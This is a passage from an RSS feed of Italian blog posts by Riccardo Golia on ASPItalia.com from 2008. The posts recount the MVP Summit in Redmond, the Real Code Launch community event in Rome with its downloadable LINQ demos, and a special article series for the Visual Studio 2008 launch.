&amp;quot;consorte&amp;quot;, Raf, Roberto, Gabriele, ecc. Dopo 5 giorni la valigia è arrivata, giusto in tempo per riempirla. Inutile dire che sono rimasto alquanto seccato dal livello del servizio della compagnia aerea, la Bristish Airways. Per eventuali prossimi viaggi, sicuramente sceglierò una compagnia alternativa. Ho fatto reclamo per ottenere un rimborso, vediamo se la compagnia dimostrerà almeno un briciolo di serietà nel rimediare ai suoi disservizi.&lt;/p&gt;&lt;p&gt;Sabato 12 aprile nel pomeriggio ho avuto la fortuna di partecipare ad un party a Kirkland organizzato dagli &amp;quot;italiani&amp;quot; di Microsoft. Inutile dire che è stata un'occasione davvero memorabile, li voglio ringraziare tutti perchè si sono dimostrati disponibili con tutti, simpaticissimi e davvero di buona compagnia. Ho incontrato una vecchia conoscenza dell'università con cui ho avuto modo di fare qualche esame insieme a suo tempo. E' stata una grande sorpresa trovarmi Ivan di fronte dopo tanti anni, non me lo aspettavo davvero. Lui è lì da quasi 10 anni, una vita in pratica... Grande!&lt;/p&gt;&lt;p&gt;La domenica è trascorsa a fare compere e a guardarsi un po' intorno. I giorni seguenti sarebbero stati presi dalla conference e non ci sarebbe stato più tanto tempo a disposizione. Ci siamo sfogati, con il cambio dollaro-euro così vantaggioso è stata una pacchia. Le sessioni dei giorni trascorsi al campus sono state interessanti, alcune hanno mostrato la roadmap dei prodotti futuri, tutto rigorosamente sotto NDA e quindi non riportabile sul blog. Il terzo giorno è stata la volta di Steve Ballmer. E' incredibile starlo a sentire dal vivo, trasmette un'energia assurda, la sua sessione è stata davvero &amp;quot;showtime&amp;quot;. Domani sarà qua in Italia per un evento: chi ci potrà andare, non deve lasciarsi perdere l'occasione.&lt;/p&gt;&lt;p&gt;Se devo fare un bilancio, posso dire di essere stato contento di aver partecipato nuovamente al Summit. Andare negli States non è poi così male, la gente è gentile e disponibile ovunque, in certe occasioni è a dir poco accomodante in modo imbarazzante. Ho fatto parecchio networking, ho conosciuto gente nuova, ho scambiato opinioni e, perchè no, imparato qualcosa di nuovo anche da questa esperienza. Semmai ne avrò l'occasione, spero di poter partecipare a questo evento ancora in futuro.&lt;/p&gt;&lt;p&gt;Colgo l'occasione per ringraziare tutti i compagni di viaggio (gli MVP italiani, ovvero i Gladiators) per il tempo trascorso insieme, è sempre un piacere stare insieme e parlare di tecnologia con voi. Alla prossima.&lt;/p&gt;&lt;p&gt;Di seguito un po' di foto in ordine sparso: enjoy!&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea001.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 1:&lt;/strong&gt; viaggio in limousine dall'aeroporto all'albergo con Mauro Servienti e Davide Mauri.&lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea002.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 2: &lt;/strong&gt;in giro per Downtown a fare shopping con i soliti noti, in particolare Mauro, profondo conoscitore di negozi e store.&lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea003.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 3:&lt;/strong&gt; è stata una sorpresa e un piacere incontrare di nuovo un compagno di corso dell'università (Ivan) che lavora in Microsoft da quasi 10 anni. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea004.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 4:&lt;/strong&gt; foto di guppo dei Gladiators alla registrazione pre-conference della domenica. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea005.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 5:&lt;/strong&gt; insolita foto di gruppo: c'è un intruso... Indovina qual'è! &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea006.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 6:&lt;/strong&gt; insieme ad Alessandro &amp;quot;Garbin&amp;quot; Gallo davanti alla scatola del mitico BOB. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea007.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 7:&lt;/strong&gt; alla cena col team ASP.NET insieme a Michiel Van Otegem, MVP olandese. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea008.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 8:&lt;/strong&gt; al Conference Center (Building 33) con Alessandro Alpi, MVP italiano di SQL Server. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea009.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 9:&lt;/strong&gt; il Campus di Microsoft è una piccola città con palazzi, strade, giardini, segnaletica, ecc. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea010.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 10:&lt;/strong&gt; classica foto per chi visita il Campus di Redmond. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea011.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 11:&lt;/strong&gt; la divisa ufficiale dei Gladiators per la serata di gala al museo della musica di Seattle. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea012.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 12:&lt;/strong&gt; un po' di Gladiators &amp;quot;developer&amp;quot; insieme al MVP Lead italiano Alessandro &amp;quot;Alead&amp;quot; Teglia poco dopo la chiusura della sessione plenaria di Steve Ballmer.&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx"&gt;&lt;em&gt;MVP Summit 2008&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2274.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2274</trackback:ping></item><item><title>Real Code Launch 2008: demo online</title><link>http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx</link><pubDate>Tue, 18 Mar 2008 10:15:45 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2255" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Finalmente dopo alcuni giorni di attesa, sono disponibili online le demo presentate al Real Code Launch 2008, ovvero al Community After Hour tenutosi a Roma lo scorso 12 marzo in occasione del roadshow organizzato da Microsoft Italia per il lancio di Windows Server 2008, Visual Studio 2008 e SQL Server 2008. Le demo sono scaricabili all'indirizzo: &lt;a href="http://2008launch.aspitalia.com" onclick="blankUrl(this.href); return false;"&gt;2008launch.aspitalia.com&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Nonostante sia passata quasi una settimana e non essendo riuscito a farlo prima, volevo cogliere l'occasione per ringraziare tutto lo staff di Microsoft Italia presente all'evento, gli organizzatori, gli evangelist DEV e IT ed, in particolare, Sara Morandini, &lt;a href="http://blogs.msdn.com/gabrielecastellani/default.aspx" onclick="blankUrl(this.href); return false;"&gt;Gabriele Castellani&lt;/a&gt; e &lt;a href="http://blogs.msdn.com/pietrobr/default.aspx" onclick="blankUrl(this.href); return false;"&gt;Pietro Brambati&lt;/a&gt; per il continuo supporto, per la fiducia e per l'&lt;a href="http://blogs.msdn.com/italy/archive/2008/03/15/msdn-talks-incontro-con-aspitalia.aspx" onclick="blankUrl(this.href); return false;"&gt;intervista stile rock-band&lt;/a&gt; (tra l'altro ricca di retroscena rigorosamente sotto NDA :D).&lt;/p&gt; &lt;p&gt;Organizzato anche nei minimi dettagli, l'evento è stato magico e la formula si è rivelata davvero vincente (merita di essere ripetuta in futuro, a mio modesto parere). La risposta in termini di pubblico e l'interesse sono stati davvero incredibili (300+ persone, come testimonia la foto), ci siamo divertiti tutti davvero tanto.&lt;/p&gt; &lt;p&gt;&lt;img src="http://live.aspitalia.com/album/2008/760/015.img?w=620" alt=" "/&gt; &lt;/p&gt; &lt;p&gt;Un grazie va tutti coloro che si sono fatti un sacco di Km per venire a Roma a sentirci fino alle 22 di sera, a tutti quelli che ci hanno fatto domande (o che ce ne faranno in futuro) su quanto visto durante le nostre sessioni e che hanno dimostrato interesse su quanto facciamo. Eravate una marea di persone, grazie di cuore per essere intervenuti! Vi aspettiamo ai prossimi eventi che terremo durante il 2008 in occasione del decimo anniversario della nostra storia.&lt;/p&gt; &lt;p&gt;Infine un ringraziamento particolare va anche agli altri {eroi} della serata: &lt;a href="http://blogs.aspitalia.com/daniele" onclick="blankUrl(this.href); return false;"&gt;Daniele&lt;/a&gt; (semplicemente perchè è quello che è, unico nel suo genere), &lt;a href="http://blogs.aspitalia.com/ricciolo" onclick="blankUrl(this.href); return false;"&gt;Ricciolo&lt;/a&gt; (che mi ha sopportato in camera, in aereo e che mi ha offerto uno squisito pranzo a casa sua), al compagno di sessione &lt;a href="http://blogs.aspitalia.com/sm15455" onclick="blankUrl(this.href); return false;"&gt;Stefano&lt;/a&gt; (che si è divertito a muovermi il mouse per tutto il tempo durante la sessione fino a mostrare un'immagine a tutto schermo con la scritta: I LOVE DATASETS - li mortacci... :D) e ai mitici &amp;quot;Little Lions Boys&amp;quot; (&lt;a href="http://blogs.aspitalia.com/nostromo" onclick="blankUrl(this.href); return false;"&gt;Marco&lt;/a&gt; e &lt;a href="http://blogs.aspitalia.com/novecento" onclick="blankUrl(this.href); return false;"&gt;Alessio Leoncini&lt;/a&gt;).&lt;/p&gt; &lt;p&gt;&lt;img src="http://live.aspitalia.com/album/2008/760/014.img?w=620" alt=" "/&gt; &lt;/p&gt; &lt;p&gt;Le altre foto sono disponibili nella &lt;a href="http://live.aspitalia.com/" onclick="blankUrl(this.href); return false;"&gt;sezione LIVE di ASPItalia.com&lt;/a&gt;, in tutto sono una quindicina. Buona visione!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/10annidi/" rel="tag"&gt;10annidi&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Visual_Studio/" rel="tag"&gt;Visual Studio&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Windows_Server/" rel="tag"&gt;Windows Server&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx"&gt;&lt;em&gt;Real Code Launch 2008: demo online&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi, 10annidi, ASPItalia.com, Visual Studio, Windows Server</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2255.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2255</trackback:ping></item><item><title>Real Code Launch 2008: vi aspettiamo l&amp;#224;!</title><link>http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx</link><pubDate>Tue, 11 Mar 2008 09:25:07 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2250" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Tra qualche ora partirò per Roma per l'evento di domani. Domani sarò infatti presente con tutto lo staff del nostro network alla tappa di Roma del &lt;a href="http://www.microsoft.com/italy/launch2008/roadshow/default.mspx" onclick="blankUrl(this.href); return false;"&gt;2008 Launch Roadshow&lt;/a&gt; organizzato da Microsoft Italia in occasione del lancio dei suoi nuovi prodotti (Windows Server 2008, Visual Studio 2008 e SQL Server 2008). Saremo tutto il giorno in giro per le sale conferenze per incontrare la gente della nostra community, per fare quattro chiacchiere con chi ne avrà voglia e per dare un volto a chi conosciamo unicamente tramite un nickname.&lt;/p&gt; &lt;p&gt;Alla sera ci sarà il &lt;a href="http://www.microsoft.com/italy/launch2008/xml/after_roma.htm" onclick="blankUrl(this.href); return false;"&gt;Community After Hour&lt;/a&gt; gestito da noi, intitolato &lt;strong&gt;Real Code Launch&lt;/strong&gt;. Inutile dire che si tratterà ancora una volta di un evento della serie &amp;quot;Real Code&amp;quot;, ovvero solo codice, niente slide! Con &lt;a href="http://blogs.aspitalia.com/sm15455" onclick="blankUrl(this.href); return false;"&gt;Stefano&lt;/a&gt; avrò il piacere di fare una sessione tecnica su LINQ. Non si tratterà della solita presentazione che spiega che cosa sia LINQ, ma di una sessione estremamente pratica in cui risponderemo ad una semplice domanda: &amp;quot;Ora che abbiamo LINQ, come possiamo usarlo davvero nelle nostre applicazioni?&amp;quot;. Del resto il titolo della sessione è: &lt;strong&gt;Real LINQ Applications&lt;/strong&gt;.&lt;/p&gt; &lt;p&gt;Vi mostreremo un'ora di esempi di codice e casi di utilizzo reale. Stefano ha preparato molto materiale estremamente interessante, io per l'occasione ho scritto un'intera applicazione utile a presentare un caso significativo di utilizzo di LINQ to SQL. Per chi mi conosce, sa che agli eventi Real Code rilascio sempre una soluzione intera a disposizione dei partecipanti. Anche in quest'occasione sarà la stessa cosa! Chi ha avuto modo di partecipare al Real Code Day 2 ed ha apprezzato la mia sessione architetturale, non può mancare a questa... Continueremo il discorso iniziato allora e faremo posto a LINQ to SQL per capirne l'utilità, l'applicabilità, i vantaggi e le controindicazioni.&lt;/p&gt; &lt;p&gt;Successivamente all'evento metteremo a disposizione di chi vorrà consultarlo tutto il codice mostrato. Mi risulta che verrà pure fatta una registrazione delle sessioni, ma questo non deve giustificarvi a non partecipare. Ci saranno un sacco di premi e altre sorprese che potrete vedere solo se sarete presenti. Dal momento che le iscrizioni sono chiuse visto che abbiamo raggiunto la &lt;a href="http://blogs.aspitalia.com/daniele/post2249/lancio-roma.aspx" onclick="blankUrl(this.href); return false;"&gt;quota di 400 iscritti&lt;/a&gt;, qualcuno potrebbe decidere di rimanere a casa perchè non ha potuto iscriversi. Venite lo stesso, facciamo entrare tutti, non mandiamo indietro nessuno. Venite senza timori, ci divertiremo insieme!&lt;/p&gt; &lt;p&gt;Vi aspettiamo là, non fatevi scrupoli, veniteci a salutare, fatevi riconoscere! Sarà un vero piacere potervi salutare di persona.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx"&gt;&lt;em&gt;Real Code Launch 2008: vi aspettiamo l&amp;amp;agrave;!&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi, ASPItalia.com</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2250.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2250</trackback:ping></item><item><title>Oggi parte lo speciale per il lancio di Visual Studio 2008</title><link>http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx</link><pubDate>Mon, 25 Feb 2008 09:15:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2244" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Con il mio articolo intitolato &lt;a href="http://www.winfxitalia.com/articoli/netfx3.5/netfx-35-visual-studio-2008.aspx" target="_blank"&gt;.NET Framework 3.5 e Visual Studio 2008: cosa c'è di nuovo&lt;/a&gt; parte oggi lo speciale dedicato al .NET Framework 3.5, Visual Studio 2008, Windows Server 2008 e SQL Server 2008. Il mio articolo vuole essere una sorta di editoriale che introduce lo speciale e che fornisce una panoramica sull'argomento, rimandando agli altri articoli per ottenere gli approfondimenti del caso.&lt;/p&gt;&lt;p&gt;Come ho avuto modo di dire già &lt;a href="http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx" target="_blank"&gt;in precedenza&lt;/a&gt;, lo speciale è composto da dieci articoli e prevede la partecipazione di altrettanti autori. La sua durata sarà di due settimane con la pubblicazione di un articolo al giorno. Ci sarà un mucchio di roba da leggere nei prossimi giorni... :) &lt;/p&gt;&lt;p&gt;Visto che ci sono, colgo l'occasione per dare a tutti i membri della nostra community appuntamento a Milano giovedì prossimo per l'&lt;a href="http://www.microsoft.com/italy/launch2008/default.mspx" target="_blank"&gt;evento ufficiale di lancio&lt;/a&gt; promosso da Microsoft. Io sarò da quelle parti giovedì e probabilmente (purtroppo non sono ancora sicuro) anche venerdì. Ovviamente poi ci sarà il &lt;a href="http://www.aspitalia.com/eventi/12/Real-Code-Launch-2008-Roma.aspx" target="_blank"&gt;Real Code Launch&lt;/a&gt; a Roma, ma questa è un'altra storia che merita un post a parte...&lt;/p&gt;&lt;p&gt;Partecipate in massa anche perchè i premi contenuti nel &lt;a href="http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx" target="_blank"&gt;kit di partecipazione&lt;/a&gt; sono davvero notevoli! :P&lt;/p&gt;&lt;p&gt;Intanto buona lettura a tutti!&lt;/p&gt;&lt;p /&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/.NET_Framework/" rel="tag"&gt;.NET Framework&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_3.5/" rel="tag"&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Visual_Studio/" rel="tag"&gt;Visual Studio&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Windows_Server/" rel="tag"&gt;Windows Server&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx"&gt;&lt;em&gt;Oggi parte lo speciale per il lancio di Visual Studio 2008&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com, .NET Framework, .NET Framework 3.5, Visual Studio, Windows Server</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2244.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2244</trackback:ping></item></channel></rss>
